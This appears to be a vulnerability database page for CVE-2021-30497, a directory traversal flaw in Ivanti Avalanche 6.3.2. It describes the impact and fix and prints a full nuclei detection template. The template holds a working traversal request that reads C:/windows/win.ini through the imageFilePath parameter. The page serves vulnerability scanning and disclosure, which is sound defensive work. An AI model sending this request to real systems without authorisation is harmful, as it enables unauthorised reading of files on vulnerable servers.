HexBrain

Browse / CVEs / CVE-2021-30497

CVE-2021-30497· ivanti / avalanche· CWE-22

Ivanti Avalanche 6.3.2 - Local File Inclusion

highseverity
7.5CVSS score
96.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.

Fix

Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2.

How to confirm it

Send: GET {{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini
Positive when: contains "for 16-bit app support" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30497 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-30497

info:
  name: Ivanti Avalanche 6.3.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/
    - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US
    - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30497
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-30497
    cwe-id: CWE-22
    epss-score: 0.9658
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.2:*:*:*:*:windows:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
    framework: windows
  tags: cve2021,cve,avalanche,traversal,lfi,ivanti,windows,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from